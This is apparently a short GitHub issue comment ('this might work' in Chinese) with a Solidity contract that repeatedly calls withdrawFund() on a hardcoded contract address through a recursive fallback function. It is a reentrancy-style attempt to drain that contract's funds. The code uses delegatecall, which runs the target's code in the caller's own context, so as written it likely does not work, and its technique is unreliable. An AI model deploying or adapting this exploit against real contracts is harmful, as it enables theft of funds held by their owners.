Closed yyssjj33 closed 6 years ago
这个可能work
pragma solidity ^0.4.17;
contract oobserver {
address target = 0x1284f5A4aC6CeB99C23679Cb2F757EFBd2D960AC;
uint stack = 0;
function observer() {
attack();
}
function attack() payable {
address(target).delegatecall(bytes4(sha3("withdrawFund()")));
}
function() payable {
if (stack++ < 20) {
address(target).delegatecall(bytes4(sha3("withdrawFund()")));
}
}
}
ref: https://ethereum.stackexchange.com/a/11481